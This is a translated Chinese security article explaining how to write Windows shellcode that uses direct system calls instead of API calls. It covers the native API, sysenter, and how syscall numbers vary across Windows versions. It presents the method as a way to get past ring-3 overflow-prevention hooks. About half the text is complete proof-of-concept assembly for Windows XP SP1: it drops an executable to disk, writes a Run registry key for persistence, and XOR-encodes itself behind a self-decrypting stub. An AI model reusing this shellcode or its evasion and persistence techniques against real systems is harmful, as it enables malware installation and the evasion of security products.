使用windows系统调用编写shellcode

原创翻译]使用windows系统调用编写shellcode

原文作者：Piotr Bania
原文出处：http://securityfocus.com/infocus/1844/1
翻译作者：无敌最寂寞
本文来源：邪恶八进制信息安全团队

使用windows系统调用编写shellcode

简介

写此文的用意，是想让大家知道在windows系统下我们完全可以写出不依赖于标准API调用的shellcode。当然，对于每一种编写思路，都有它的优缺点。在本文中，我将会带领大家学习一下这种shellcode并介绍一些实际的例子。在阅读本文前，我假设你已经懂得一些IA-32下的汇编知识。
本文涉及的shellcode都在windows XP SP1下测试通过，大家也许注意到了我们的shellcode是要依赖于操作系统及其打的SP补丁的，随着文章的深入我们会进一步讨论的。

背景知识

基于NT内核的windows操作系统（NT/2000/XP/2003或更高版本）支持很多的子系统，每个子系统都包含各自的环境。例如，WIN32子系统就是一例（处理普通windows应用程序），再一个就是支持unix或者OS/2的POSIX子系统。那么这意味着什么呢？意味着NT系统可以运行OS/2（当然是
些能够正确运行的系统附件）并支持其大部分系统特性。那么NT系统是如何来支持这些子系统的呢？微软在每个子系统中封装了统一的一组API。简言之，所有的子系统都依靠一些必须的库来工作。比如win32应用程序调用的是win32子系统API，而这些API实际上调用的是NT API（native API等）。本地API不依赖于任何子系统。

从本地API调用到系统调用

那么我们是否真正能写出一个不需要标准API调用的shellcode呢？对于某些API是可以的，而又有一些是不可以的，有些API并不需要调用本地API就可以完成它们的工作等等。通过阅读下面的代码我们可以得到证实（以下为从KERNEL32.DLL中导出的GetCommandLineA API):

.text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358 mov eax, dword_77ED7614
.text:77E7E35D retn
.text:77E7E35D GetCommandLineA endp

此API并没有使用任何调用。它做的唯一一件事就是返回了指向命令行参数的一个指针。我们来讨论一个符合我们理论的例子，下面一部分是TerminateProcess API函数的反汇编代码：

.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j
.text:77E616B8 ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess = dword ptr 4
.text:77E616B8 uExitCode = dword ptr 8
.text:77E616B8
.text:77E616B8 cmp [esp+hProcess], 0
.text:77E616BD jz short loc_77E616D7
.text:77E616BF push [esp+uExitCode] ; 1st param: Exit code
.text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process
.text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess

就像你看到的那样，TerminateProcess函数只是简单地将参数压栈后接着调用NTDLL.DLL中的NtTerminateProcess函数。NTDLL.DLL中的函数就是本地API。换句话说，以‘NT’开头的函数就是本地API（有的是以‘ZW’开头的，看一下NTDLL的导出函数便知）。接着看一下NTTerminateProcess函数吧：

.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448 ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h ; 系统调用号: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h
.text:77F5C452 call edx ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp

该native API事实上仅仅将系统调用号放入eax，然后调用7FFE0300h处的代码：

7FFE0300 8BD4 MOV EDX,ESP
7FFE0302 0F34 SYSENTER
7FFE0304 C3 RETN

上面的代码向我们展示了整个调用过程：EDX是用户堆栈指针，EAX是将要执行的系统调用。SYSENTER指令执行了一个到ring 0级系统程序的快速调用，这个系统程序用来完成剩余的工作。

操作系统间的区别

在windows2000（其它除了XP以及XP更高版本外的基于NT内核的系统）中，不使用SYSENTER指令。但在windows XP中使用SYSENTER指令替换了“int 2eh”。下面展示了windows 2000中系统调用的实现：

MOV EAX, SyscallNumber ; 被请求的系统调用号
LEA EDX, [ESP+4] ; EDX = 参数
INT 2Eh ; 调用内核处理程序
RET 4*NUMBER_OF_PARAMS ; 返回

我们已经知道了windows xp的处理方法，下面这个就是我在我的shellcode中是如何使用的:

push fn ; 将系统调用号压栈
pop eax ; EAX = 系统调用号
push eax ; 这没什么影响
call b ; 下一条指令压入堆栈
b: add [esp],(offset r - offset b) ; 标准化堆栈
mov edx, esp ; EDX = 当前堆栈
db 0fh, 34h ; SYSENTER 指令
r: add esp, (param*4) ; 标准化堆栈

SYSENTER指令似乎是在Intel Pentium II处理器中第一次引入。SYENTER指令并不被Athlon处理器支持。确定一个特定的处理器是否支持SYSENTER指令，我们可以使用CPUID指令协同SEP标志以及CPU特定的family/model/stepping属性检测。（译者注：CPUID几乎是所有x86 CPU内置的指令，用它可以获得CPU的一些信息。关于此命令的详细用法，大家可以从google中搜索到。此处我们可以使用CPUID指令来检测CPU是否支持SYSENTER指令）。以下是intel处理器如何进行检测的：

IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;

当然，在各个windows操作系统之间这并不是唯一的区别，比如系统调用号在各个windows操作系统版本之间就不同，如下表所示：

Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3 0x3 0x5 0x7
SP 4 0x3 0x5 0x7
SP 5 0x3 0x5 0x7
SP 6 0x3 0x5 0x7
Windows 2000 SP 0 0x8 0xa 0xc
SP 1 0x8 0xa 0xc
SP 2 0x8 0xa 0xc
SP 3 0x8 0xa 0xc
SP 4 0x8 0xa 0xc
Windows XP SP 0 0x8 0xb 0xd
SP 1 0x8 0xb 0xd
SP 2 0x8 0xb 0xd
Win2003 Server SP0 0x8 0xc 0xe
SP 1 0x8 0xc 0xe

我们可以在网上搜索到这些系统调用表，也可以在本文后面的参考资料里找到。

使用系统调用编写shellcode的t优点

下面是使用系统调用方法来编写shellcode的优点：

1、使用此方法编写的shellcode不再需要使用API，这是因为我们不再需要定位API的地址了（像内核地址的查找、导入节或者导出节的解析等等，都不需要了）。因此可以利用此方法绕过运行在ring 3上的“防止缓冲区溢出系统”。此类的保护机制通常并不是阻止了缓冲区溢出攻击，而是HOOK了一些经常使用的API然后检测调用该API的地址，以此来阻止shellcode的执行。但是如果是使用此方法编写的shellcode，这类保护就失效了。（译着注：“防止缓冲区溢出系统”，原文是"buffer overflow prevention systems"。就像上文说的那样，并不是真正的阻止了缓冲区溢出。所以我觉得翻译成“缓冲区溢出抑制系统”更为确切些。）

2、由于你是直接向内核提交请求而跳过了win32子系统的所有指令，那么shellcode的执行速度肯定是非常快的。（当然，现在的CPU速度都是那么快，谁又会在乎这点速度呢）

使用系统调用编写shellcode的缺点

下面是使用系统调用编写shellcode的一些缺点：

1、shellcode的体积，这是用这种方法编写shellcode的最大的缺点。因为我们不使用windows子系统封装的一些功能，那么我们就需要自己来编写这些功能代码。因此shellcode体积就会激增。
2、兼容性----正如前面所说的，“int 2eh”和“sysenter”指令在不同系统的版本中的实现是不同的。而且系统调用号在每个版本的系统中也是不同的。

编写系统调用版shellcode

在本文的最后是一个使用此方法写出的shellcode，主要功能是释放一个文件然后写入注册表一个启动键值。在系统重起后，再通过注册表的启动键值执行释放出的文件。也许你们会问我为什么不直接执行这个文件，而是要等到下次重启后再通过注册表启动。通过系统调用来执行win32程序并不是那么容易的，不要认为我们可以调用NtCreateProcess来完成这项工作。让我们来看看CreateProcess API在执行一个程序前需要做哪些事情：

1、在进程中打开.exe映像文件。
2、创建windows进程对象。
3、创建初始化线程（堆栈、上下文以及windows线程对象）。
4、将新进程通知到win32 子系统，以便win32子系统可以创建新的进程和线程。
5、开始执行初始化线程（除非指定了CREATE_SUSPENDED属性）。
6、在新创建的进程和线程的上下文中，完成地址空间的初始化（包括加载所需dll）然后开始执行程序。

因此，使用注册表启动的方法相对来说是比较容易的和快速的。下面的shellcode执行后会产生出一个MessageBox例程（如此要涉及到PE结构，所以shellcode的体积就比较大了）。不管怎么说，这只是个例子演示而已。实际运用中我们可以用本地shell以及下载执行或者命令执行等任

何功能来代替，下面我们来实际看下代码吧：

The shellcode - Proof Of Concept
comment $
-----------------------------------------------
WinNT (XP) Syscall Shellcode - Proof Of Concept
-----------------------------------------------
Written by: Piotr Bania
http://pb.specialised.info
$
include my_macro.inc
include io.inc
; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH equ "/??/C:/b.exe",0 ; 产生的文件的存放路径
SHELLCODE_DROP equ "D:/asm/shellcodeXXX.dat" ; shellcode文件存放路径
; shellcode
REG_PATH equ "/Registry/Machine/Software/Microsoft/Windows/CurrentVersion/Run",0
; ------------------------------------------------------------------------------------
KEY_ALL_ACCESS equ 0000f003fh ; const value
_S_NtCreateFile equ 000000025h ; windows xp sp1
_S_NtWriteFile equ 000000112h ; 下的系统调用号
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S_NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h
@syscall macro fn, param ; windows XP的系统调用
local b, r ; 实现
push fn
pop eax
push eax ; makes no diff
call b
b: add [esp],(offset r - offset b)
mov edx, esp
db 0fh, 34h
r: add esp, (param*4)
endm
path struc ; 有用的结构
p_path dw MAX_PATH dup (?) ;从C头文件中转换而来的
path ends
object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends
unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends
call crypt_and_dump_sh ; xor and dump shellcode
sc_start proc
local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a

bject_attributes
local iob :pio_status_block
local fHandle

WORD
local rHandle

WORD
sub ebp,500 ; allocate space on stack堆栈中分配空间
push FILE_PATH_ULEN ; unicode字符串
pop [u_string.us_length] ; 长度
push 255 ; set up unicode字符穿最大
pop [u_string.us_length+2] ; 长度
lea edi,[fpath] ; EDI = 指向fpath
push edi ; 路径
pop [u_string.us_pstring] ; set up the unciode entry
call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack
FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h
a_p1: pop esi ; ESI = ptr to file path
push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
xor eax,eax ; EAX = 0
a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align
lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)
pop [edi.oa_length] ; store
push ebx ; store the object name
pop [edi.oa_objectname]
push eax ; rootdir = NULL
pop [edi.oa_rootdir]
push eax ; secdesc = NULL
pop [edi.oa_secdesc]
push eax ; secqos = NULL
pop [edi.oa_secqos]
push 40h ; attributes value = 40h
pop [edi.oa_attribz]
lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null
push eax ; eabuffer = null
push 60h ; create options
push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes
push eax ; allocation size = NULL
push ecx ; io status block
push edi ; object attributes
push 0C0100080h ; desired access
lea esi,[fHandle]
push esi ; (out) file handle
@syscall _S_NtCreateFile, 11 ; execute syscall
lea ecx,[iob] ; ecx = io status block
push eax ; key = null
push eax ; byte offset = null
push main_exploit_s ; length of data
call a3 ; ptr to dropper body
s1: include msgbin.inc ; dopper data
main_exploit_s equ $ - offset s1
a3: push ecx ; io status block
push eax ; apc context = null
push eax ; apc routine = null
push eax ; event = null
push dword ptr [esi] ; file handle
@syscall _S_NtWriteFile, 9 ; execute the syscall
mov edx,edi ; edx = object attributes
lea edi,[rpath] ; edi = registry path
push edi ; store the pointer
pop [u_string.us_pstring] ; into unicode struct
push REG_PATH_ULEN ; store new path len
pop [u_string.us_length]
call a_p2 ; store the ascii reg path
a_s1: db REG_PATH ; pointer on stack
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh
a_p2: pop esi ; esi ptr to ascii reg path
push REG_PATH_LEN
pop ecx ; ECX = REG_PATH_LEN
a_lo1: lodsb ; little ascii 2 unicode
stosw ; conversion
loop a_lo1
push eax ; disposition = null
push eax ; create options = null
push eax ; class = null
push eax ; title index = null
push edx ; object attributes struct
push KEY_ALL_ACCESS ; desired access
lea esi,[rHandle]
push esi ; (out) handle
@syscall _S_NtCreateKey,6
lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax
pop [ecx] ; nullify file handle
push FILE_PATH_ULEN - 8 ; push the unicode len
; without 8 (no '/??/')
push ebx ; file path
add [esp],8 ; without '/??'
push REG_SZ ; type
push eax ; title index = NULL
push ecx ; value name = NULL = default
push dword ptr [esi] ; key handle
@syscall _S_NtSetValueKey,6 ; set they key value
dec eax
push eax ; exit status code
push eax ; process handle
; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want
; TerminateThread instead?
ssc_size equ $ -offset sc_start
sc_start endp
exit:
push 0
@callx ExitProcess
crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file
; will be dumped
xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop
_fcreat SHELLCODE_DROP,ebx ; some of my old crazy
_fwrite ebx,sh_decryptor,sh_dec_size ; io macros
_fwrite ebx,sc_start,ssc_size
_fclose ebx
jmp exit
sh_decryptor: ; that's how the decryptor
xor ecx,ecx ; looks like
mov cx,ssc_size
fldz
sh_add: fnstenv [esp-12] ; fnstenv decoder
pop edi
add edi,sh_dec_add
sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop
sh_dec_add equ ($ - offset sh_add) + 1
sh_dec_size equ $ - offset sh_decryptor
end start

写在最后的话

希望大家能喜欢这篇文章，同样的本文的目的只是为了向大家讲述一种方法。任何利用本技术去做违法的事，与作者无关。

参考资料：
"Inside the Native API"
Interactive Win32 syscall page